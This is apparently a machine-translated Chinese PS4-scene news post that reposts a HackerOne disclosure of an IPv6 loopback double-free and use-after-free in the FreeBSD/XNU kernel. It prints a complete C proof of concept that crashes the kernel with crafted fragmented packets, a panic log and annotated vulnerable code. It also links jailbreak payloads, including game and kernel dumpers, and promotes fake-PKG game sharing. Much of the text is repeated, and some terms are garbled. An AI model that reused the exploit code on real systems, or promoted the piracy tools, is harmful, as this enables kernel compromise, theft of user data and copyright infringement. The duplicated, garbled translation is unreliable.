继他以前 PS4 7.02内核漏洞(KEX) , PS4 7.02 / 7.51 / 7.55 WebKit漏洞利用, PS4 7.02全栈 和 PS4JB 7.02越狱 今天的开发商 流量0 通过 错误赏金 现场 HackerOne.com 公开披露了他在今年7月报告的PS4漏洞, 当正确地与 WebKit漏洞利用 允许转储和运行PS4游戏备份! 
请务必注意,PS4 Scene开发人员建议 不 此时更新您的PlayStation 4固件! 
下载: 7.55&8.00-Payloads.7z (33.97 KB)/ 补丁755-Loader.cpp / 补丁755-内核.cpp / ps4punch.7.55.rar (725.65 KB)/ 4.00-8.00-Payloads.7z (34.68 KB)
当前的7.55 / 8.00 PS4有效负载包括:
概要
由于IP6_EXTHDR_CHECK的使用不当和不一致,可以通过将片段化的IPv6数据包发送到环回接口来实现内存损坏。
如果将数据包发送到回送接口,则宏IP6_EXTHDR_CHECK可以释放mbuf。在dest6_input(),frag6_input()及更高版本中未考虑此事实。例如,在dest6_input()中,不更新双指针:
因此,在解析下一个标头时,可以再次释放mbuf,从而导致双重释放,当我们再次分配mbuf时,它的行为就像是先用后用。
通常,此路径是不可触发的,因为发送到回送接口需要SOCK_RAW根特权。 但是,由于某些原因,可以在Webkit进程中打开PS4 SOCK_RAW套接字!
附件是poc.c,它必须在FreeBSD 9机器上以root特权运行。它展示了能够将特权升级到内核。
附带的还有ps4.c,它经过了稍微的调整才能在PS4上工作(您需要添加include等才能使用您的官方***对其进行编译,我使用自定义框架进行了编译)。
poc.c的可靠性很高,大约为80%,而ps4.c的可靠性不是很高,我估计大约为20%。
影响力
概要
由于IP6_EXTHDR_CHECK的使用不当和不一致,可以通过将片段化的IPv6数据包发送到环回接口来实现内存损坏。
严重程度
我们将此漏洞视为中等漏洞。虽然概念验证需要root用户特权才能打开SOCK_RAW套接字以发送碎片数据包,但也可以使用用户特权甚至从沙箱中获得这些漏洞。如果将数据包配置为转发到环回,也可能会远程触发。
概念证明
随附的是针对dest6_input路径的概念证明。虽然下面提供的内核恐慌来自xnu-6041.0.0.111.5,但我们对最新内核进行了反向工程并验证了所有漏洞仍然存在。
紧急记录:
以超级用户身份运行此代码:
分析
所有代码段均取自最新的xnu-6153.11.26。
背景
宏IP6_EXTHDR_CHECK确保IP6标头和目标标头之间的区域连续。
如果没有足够的可用空间,则丢弃远程数据包。但是,对于从环回接收到的数据包,它将调用m_pullup并尝试重新排列mbuf链,以使从0到off + hlen的数据包含在单个mbuf中。
如果m_pullup成功,则mbuf链中覆盖len个字节的节点 有空 并返回mbuf的新头。然后,将其分配给IP6_EXTHDR_CHECK中的m。
漏洞
不幸的是,IP6_EXTHDR_CHECK的使用非常差且不一致。存在 10种不同的子程序 分布在ipv6网络子系统中,该子系统未考虑mbuf的某些节点可能已释放。
为了释放mbuf链中的节点,必须满足以下条件:
虽然概念验证需要root用户特权才能打开SOCK_RAW套接字以发送碎片数据包,但也可以使用用户特权甚至从沙箱中获得这些漏洞。我们花了一些时间调查 远程攻击的可能性。实际上,如果用户将其ipfw配置为重定向/转发回环,则也可能触发它们。
实例探究
下面显示了相应漏洞的代码片段。重要的行用[X]注释,但是没有注释,因为错误应该很明显。
双人免费
在以下两个子例程中,传递了双指针mp,但* mp是 未更新 在IP6_EXTHDR_CHECK之后。这些是扩展头的解析器,因此它们之后可以是另一个目标解析器,该目标解析器可以再次释放m,从而导致double释放。此外,由于m_pullup删除了标记M_PKTHDR,因此我们实际上有一个 类型混乱。可以取消引用struct pkthdr的不可信指针。
dest6_input
route6_input
免费写
在以下四个子例程中,可以通过in6_setscope或直接写入s6_addr16 [1]来修改陈旧mbuf的内容。通过与喷洒mbuf的其他线程进行竞争,可能可以回收mbuf和损坏的数据。
frag6_input
icmp6_redirect_input
nd6_na_input
nd6_ns_input
免费阅读
在以下四个子例程中,未确定对mbuf的写操作,即内存损坏。但是,可能会泄漏内核内存。
ah6_input
mld_input
nd6_rs_input
学分
请务必遵循 PSXHAX 会员验证&PS4假PKG(FPKG)共享指南 成为一个 认证会员 通过获得 蓝色认证徽章 (扰流板中的常见问题解答 这里 )通过我们 PSXHAX 浮动不和谐频道 访问私人或禁区以获取最新的FPKG游戏和反向移植! 
欢呼 尼基米奇 对于这个单挑 PS4场景 新闻更早!



下载: 7.55&8.00-Payloads.7z (33.97 KB)/ 补丁755-Loader.cpp / 补丁755-内核.cpp / ps4punch.7.55.rar (725.65 KB)/ 4.00-8.00-Payloads.7z (34.68 KB)
当前的7.55 / 8.00 PS4有效负载包括:
- app2usb.bin
- app-dumper.bin
- backup.bin
- disable-aslr.bin
- disable-updates.bin
- enable-browser.bin
- enable-updates.bin
- 风扇阈值
- ftp.bin
- history-blocker.bin
- kernel-clock.bin
- 内核转储程序
- module-dumper.bin
- restore.bin
- rif-renamer.bin
概要
由于IP6_EXTHDR_CHECK的使用不当和不一致,可以通过将片段化的IPv6数据包发送到环回接口来实现内存损坏。
如果将数据包发送到回送接口,则宏IP6_EXTHDR_CHECK可以释放mbuf。在dest6_input(),frag6_input()及更高版本中未考虑此事实。例如,在dest6_input()中,不更新双指针:
Code:
int
dest6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*dstopts), return IPPROTO_DONE);
...
*offp = off;
return dstopts->ip6d_nxt;
}
通常,此路径是不可触发的,因为发送到回送接口需要SOCK_RAW根特权。 但是,由于某些原因,可以在Webkit进程中打开PS4 SOCK_RAW套接字!
附件是poc.c,它必须在FreeBSD 9机器上以root特权运行。它展示了能够将特权升级到内核。
附带的还有ps4.c,它经过了稍微的调整才能在PS4上工作(您需要添加include等才能使用您的官方***对其进行编译,我使用自定义框架进行了编译)。
poc.c的可靠性很高,大约为80%,而ps4.c的可靠性不是很高,我估计大约为20%。
影响力
- 结合WebKit利用,可以实现完全连锁的远程攻击。
- 可以窃取/操纵用户数据。
- 转储并运行p!rated游戏。
概要
由于IP6_EXTHDR_CHECK的使用不当和不一致,可以通过将片段化的IPv6数据包发送到环回接口来实现内存损坏。
严重程度
我们将此漏洞视为中等漏洞。虽然概念验证需要root用户特权才能打开SOCK_RAW套接字以发送碎片数据包,但也可以使用用户特权甚至从沙箱中获得这些漏洞。如果将数据包配置为转发到环回,也可能会远程触发。
概念证明
随附的是针对dest6_input路径的概念证明。虽然下面提供的内核恐慌来自xnu-6041.0.0.111.5,但我们对最新内核进行了反向工程并验证了所有漏洞仍然存在。
紧急记录:
Code:
panic(cpu 1 caller 0xffffff800daeac38): "m_free: freeing an already freed mbuf"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-6041.0.0.111.5/bsd/kern/uipc_mbuf.c:3793
Backtrace (CPU 1), Frame : Return Address
0xffffff80be07b750 : 0xffffff800d55b12b mach_kernel : _handle_debugger_trap + 0x47b
0xffffff80be07b7a0 : 0xffffff800d690a95 mach_kernel : _kdp_i386_trap + 0x155
0xffffff80be07b7e0 : 0xffffff800d68271b mach_kernel : _kernel_trap + 0x4fb
0xffffff80be07b830 : 0xffffff800d501bb0 mach_kernel : _return_from_trap + 0xe0
0xffffff80be07b850 : 0xffffff800d55a817 mach_kernel : _DebuggerTrapWithState + 0x17
0xffffff80be07b950 : 0xffffff800d55abf6 mach_kernel : _panic_trap_to_debugger + 0x216
0xffffff80be07b9a0 : 0xffffff800dcd2939 mach_kernel : _panic + 0x61
0xffffff80be07ba10 : 0xffffff800daeac38 mach_kernel : _m_retryhdr + 0x3f8
0xffffff80be07ba30 : 0xffffff800d9c8248 mach_kernel : _icmp6_input + 0xe8
0xffffff80be07bb60 : 0xffffff800d9dae69 mach_kernel : _ip6_input + 0xfd9
0xffffff80be07bcf0 : 0xffffff800d9d9dbd mach_kernel : _ip6_init + 0x76d
0xffffff80be07bd30 : 0xffffff800d868e85 mach_kernel : _proto_input + 0xd5
0xffffff80be07bd60 : 0xffffff800d830dc9 mach_kernel : _loopattach + 0xc89
0xffffff80be07bd80 : 0xffffff800d8220f6 mach_kernel : _ifnet_notify_data_threshold + 0x1646
0xffffff80be07bdb0 : 0xffffff800d821d91 mach_kernel : _ifnet_notify_data_threshold + 0x12e1
0xffffff80be07bf40 : 0xffffff800d82231e mach_kernel : _ifnet_datamov_end + 0x1fe
0xffffff80be07bfa0 : 0xffffff800d50113e mach_kernel : _call_continuation + 0x2e
Code:
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if_var.h>
#include <netinet/ip6.h>
struct packet1 {
struct ip6_hbh hbh;
struct ip6_opt hbh_opt;
uint8_t hbh_pad[4];
struct ip6_frag frag;
struct ip6_dest dest;
struct ip6_opt dest_opt;
uint8_t dest_pad[4];
};
struct packet2 {
struct ip6_hbh hbh;
struct ip6_opt hbh_opt;
uint8_t hbh_pad[4];
struct ip6_frag frag;
struct ip6_opt dest_opt;
uint8_t dest_pad[6];
uint8_t payload[16];
};
int main(int argc, char *argv[]) {
struct sockaddr_in6 daddr;
struct packet1 packet1;
struct packet2 packet2;
int s, id, res;
srand(time(NULL));
id = rand();
s = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
if (s < 0) {
perror("socket");
return 1;
}
memset(&daddr, 0, sizeof(daddr));
daddr.sin6_family = AF_INET6;
daddr.sin6_port = 0;
inet_pton(AF_INET6, "::1", &daddr.sin6_addr);
memset(&packet1, 'A', sizeof(struct packet1));
packet1.hbh.ip6h_nxt = IPPROTO_FRAGMENT;
packet1.hbh.ip6h_len = 0;
packet1.hbh_opt.ip6o_type = IP6OPT_PADN;
packet1.hbh_opt.ip6o_len = 4;
packet1.frag.ip6f_nxt = IPPROTO_DSTOPTS;
packet1.frag.ip6f_reserved = 0;
packet1.frag.ip6f_offlg = htons(0) | IP6F_MORE_FRAG;
packet1.frag.ip6f_ident = id;
// Use IPPROTO_RAW for "assertion failed: m->m_flags & M_PKTHDR" panic
// Use IPPROTO_ICMPV6 for "m_free: freeing an already freed mbuf" panic
packet1.dest.ip6d_nxt = IPPROTO_ICMPV6;
packet1.dest.ip6d_len = 1;
packet1.dest_opt.ip6o_type = IP6OPT_PADN;
packet1.dest_opt.ip6o_len = 4;
memset(&packet2, 'B', sizeof(struct packet2));
packet2.hbh.ip6h_nxt = IPPROTO_FRAGMENT;
packet2.hbh.ip6h_len = 0;
packet2.hbh_opt.ip6o_type = IP6OPT_PADN;
packet2.hbh_opt.ip6o_len = 4;
packet2.frag.ip6f_nxt = IPPROTO_DSTOPTS;
packet2.frag.ip6f_reserved = 0;
packet2.frag.ip6f_offlg = htons(8);
packet2.frag.ip6f_ident = id;
packet2.dest_opt.ip6o_type = IP6OPT_PADN;
packet2.dest_opt.ip6o_len = 6;
res = sendto(s, (char *)&packet1, sizeof(packet1), 0,
(struct sockaddr *)&daddr, (socklen_t)sizeof(daddr));
if (res < 0) {
perror("sendto");
return 1;
}
res = sendto(s, (char *)&packet2, sizeof(packet2), 0,
(struct sockaddr *)&daddr, (socklen_t)sizeof(daddr));
if (res < 0) {
perror("sendto");
return 1;
}
close(s);
return 0;
}
所有代码段均取自最新的xnu-6153.11.26。
背景
宏IP6_EXTHDR_CHECK确保IP6标头和目标标头之间的区域连续。
Code:
#define IP6_EXTHDR_CHECK(m, off, hlen, action) \
do { \
if ((m)->m_next != NULL) { \
if (((m)->m_flags & M_LOOP) && \
((m)->m_len < (off) + (hlen)) && \
(((m) = m_pullup((m), (off) + (hlen))) == NULL)) { \
ip6stat.ip6s_exthdrtoolong++; \
action; \
} else if ((m)->m_flags & M_EXT) { \
if ((m)->m_len < (off) + (hlen)) { \
ip6stat.ip6s_exthdrtoolong++; \
m_freem(m); \
(m) = NULL; \
action; \
} \
} else { \
...
} \
} while (0)
Code:
struct mbuf *
m_pullup(struct mbuf *n, int len)
{
...
if ((n->m_flags & M_EXT) == 0 &&
...
} else {
if (len > MHLEN) {
goto bad;
}
_MGET(m, M_DONTWAIT, n->m_type);
if (m == 0) {
goto bad;
}
m->m_len = 0;
if (n->m_flags & M_PKTHDR) {
M_COPY_PKTHDR(m, n);
n->m_flags &= ~M_PKTHDR;
}
}
space = &m->m_dat[MLEN] - (m->m_data + m->m_len);
do {
...
if (n->m_len != 0) {
n->m_data += count;
} else {
n = m_free(n);
}
} while (len > 0 && n != NULL);
if (len > 0) {
(void) m_free(m);
goto bad;
}
m->m_next = n;
return m;
bad:
m_freem(n);
MPFail++;
return 0;
}
漏洞
不幸的是,IP6_EXTHDR_CHECK的使用非常差且不一致。存在 10种不同的子程序 分布在ipv6网络子系统中,该子系统未考虑mbuf的某些节点可能已释放。
- 在这两个子例程中,我们可能会触发一个 双人免费:
- dest6_input
- route6_input
- 在这4个子程序中,我们可能会触发一个 免费写:
- frag6_input
- icmp6_redirect_input
- nd6_na_input
- nd6_ns_input
- 在这4个子程序中,我们可能会触发一个 免费阅读:
- ah6_input
- mld_input
- nd6_ra_input
- nd6_rs_input
为了释放mbuf链中的节点,必须满足以下条件:
- m_flags必须设置M_LOOP:这可以通过将数据包发送到回送设备来实现。
- 数据包,尤其是其扩展头,必须拆分为多个mbuf:这可以通过以下方式实现: 发送分段的数据包。然后,frag6_input将使用t->m_next = IP6_REASS_MBUF(af6);。
- mbuf不得使用其内部数据,而应使用附加的mbuf群集。这似乎是默认行为。
- 拆分标头的偏移量及其大小不得超过MHLEN。
虽然概念验证需要root用户特权才能打开SOCK_RAW套接字以发送碎片数据包,但也可以使用用户特权甚至从沙箱中获得这些漏洞。我们花了一些时间调查 远程攻击的可能性。实际上,如果用户将其ipfw配置为重定向/转发回环,则也可能触发它们。
实例探究
下面显示了相应漏洞的代码片段。重要的行用[X]注释,但是没有注释,因为错误应该很明显。
双人免费
在以下两个子例程中,传递了双指针mp,但* mp是 未更新 在IP6_EXTHDR_CHECK之后。这些是扩展头的解析器,因此它们之后可以是另一个目标解析器,该目标解析器可以再次释放m,从而导致double释放。此外,由于m_pullup删除了标记M_PKTHDR,因此我们实际上有一个 类型混乱。可以取消引用struct pkthdr的不可信指针。
dest6_input
Code:
int
dest6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*dstopts), return IPPROTO_DONE); [1]
...
*offp = off;
return dstopts->ip6d_nxt;
}
Code:
int
route6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*rh), return IPPROTO_DONE); [1]
...
*offp += rhlen;
return rh->ip6r_nxt;
}
在以下四个子例程中,可以通过in6_setscope或直接写入s6_addr16 [1]来修改陈旧mbuf的内容。通过与喷洒mbuf的其他线程进行竞争,可能可以回收mbuf和损坏的数据。
Code:
int
in6_setscope(struct in6_addr *in6, struct ifnet *ifp, u_int32_t *ret_id)
{
...
if (IN6_IS_SCOPE_LINKLOCAL(in6) || IN6_IS_ADDR_MC_INTFACELOCAL(in6)) {
in6->s6_addr16[1] = htons(zoneid & 0xffff); /* XXX */
}
return 0;
}
Code:
int
frag6_input(struct mbuf **mp, int *offp, int proto)
{
...
ip6 = mtod(m, struct ip6_hdr *); [1]
IP6_EXTHDR_CHECK(m, offset, sizeof(struct ip6_frag), goto done); [2]
ip6f = (struct ip6_frag *)((caddr_t)ip6 + offset); [3]
...
if (ip6f->ip6f_nxt == IPPROTO_UDP && [4]
...) {
...
if (start != offset || trailer != 0) {
uint16_t s = 0, d = 0;
if (IN6_IS_SCOPE_EMBED(&ip6->ip6_src)) {
s = ip6->ip6_src.s6_addr16[1];
ip6->ip6_src.s6_addr16[1] = 0; [5]
}
...
}
...
}
...
}
Code:
void
icmp6_redirect_input(struct mbuf *m, int off)
{
...
ip6 = mtod(m, struct ip6_hdr *); [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return ); [2]
nd_rd = (struct nd_redirect *)((caddr_t)ip6 + off); [3]
redtgt6 = nd_rd->nd_rd_target;
reddst6 = nd_rd->nd_rd_dst;
if (in6_setscope(&redtgt6, m->m_pkthdr.rcvif, NULL) || [4]
in6_setscope(&reddst6, m->m_pkthdr.rcvif, NULL)) {
goto freeit;
}
...
}
Code:
void
nd6_na_input(struct mbuf *m, int off, int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *); [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return ); [2]
nd_na = (struct nd_neighbor_advert *)((caddr_t)ip6 + off); [3]
m->m_pkthdr.pkt_flags |= PKTF_INET6_RESOLVE;
flags = nd_na->nd_na_flags_reserved;
is_router = ((flags & ND_NA_FLAG_ROUTER) != 0);
is_solicited = ((flags & ND_NA_FLAG_SOLICITED) != 0);
is_override = ((flags & ND_NA_FLAG_OVERRIDE) != 0);
taddr6 = nd_na->nd_na_target;
if (in6_setscope(&taddr6, ifp, NULL)) { [4]
goto bad; /* XXX: impossible */
}
...
}
Code:
void
nd6_ns_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *); [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return ); [2]
nd_ns = (struct nd_neighbor_solicit *)((caddr_t)ip6 + off); [3]
m->m_pkthdr.pkt_flags |= PKTF_INET6_RESOLVE;
ip6 = mtod(m, struct ip6_hdr *); /* adjust pointer for safety */
taddr6 = nd_ns->nd_ns_target;
if (in6_setscope(&taddr6, ifp, NULL) != 0) { [4]
goto bad;
}
...
}
在以下四个子例程中,未确定对mbuf的写操作,即内存损坏。但是,可能会泄漏内核内存。
ah6_input
Code:
int
ah6_input(struct mbuf **mp, int *offp, int proto)
{
...
IP6_EXTHDR_CHECK(m, off, sizeof(struct ah), {return IPPROTO_DONE;}); [1]
ah = (struct ah *)(void *)(mtod(m, caddr_t) + off); [2]
...
{
...
IP6_EXTHDR_CHECK(m, off, sizeof(struct ah) + sizoff + siz1, [3]
{return IPPROTO_DONE;});
}
...
if ((sav->flags & SADB_X_EXT_OLD) == 0 && sav->replay[0] != NULL) {
if (ipsec_updatereplay(ntohl(((struct newah *)ah)->ah_seq), sav, 0)) { [4]
IPSEC_STAT_INCREMENT(ipsec6stat.in_ahreplay);
goto fail;
}
}
...
}
Code:
int
mld_input(struct mbuf *m, int off, int icmp6len)
{
...
ip6 = mtod(m, struct ip6_hdr *); [1]
IP6_EXTHDR_CHECK(m, off, mldlen, return IPPROTO_DONE); [2]
IP6_EXTHDR_GET(mld, struct mld_hdr *, m, off, mldlen); [3]
if (mld == NULL) {
icmp6stat.icp6s_badlen++;
return IPPROTO_DONE;
}
...
switch (mld->mld_type) {
case MLD_LISTENER_QUERY:
icmp6_ifstat_inc(ifp, ifs6_in_mldquery);
if (icmp6len == sizeof(struct mld_hdr)) {
if (mld_v1_input_query(ifp, ip6, mld) != 0) { [4]
return 0;
}
}
...
break;
...
}
return 0;
}
nd6_ra_input
void
nd6_ra_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *); [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return ); [2]
nd_ra = (struct nd_router_advert *)((caddr_t)ip6 + off); [3]
...
}
Code:
void
nd6_rs_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *); [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return ); [2]
nd_rs = (struct nd_router_solicit *)((caddr_t)ip6 + off); [3]
...
}


欢呼 尼基米奇 对于这个单挑 PS4场景 新闻更早!
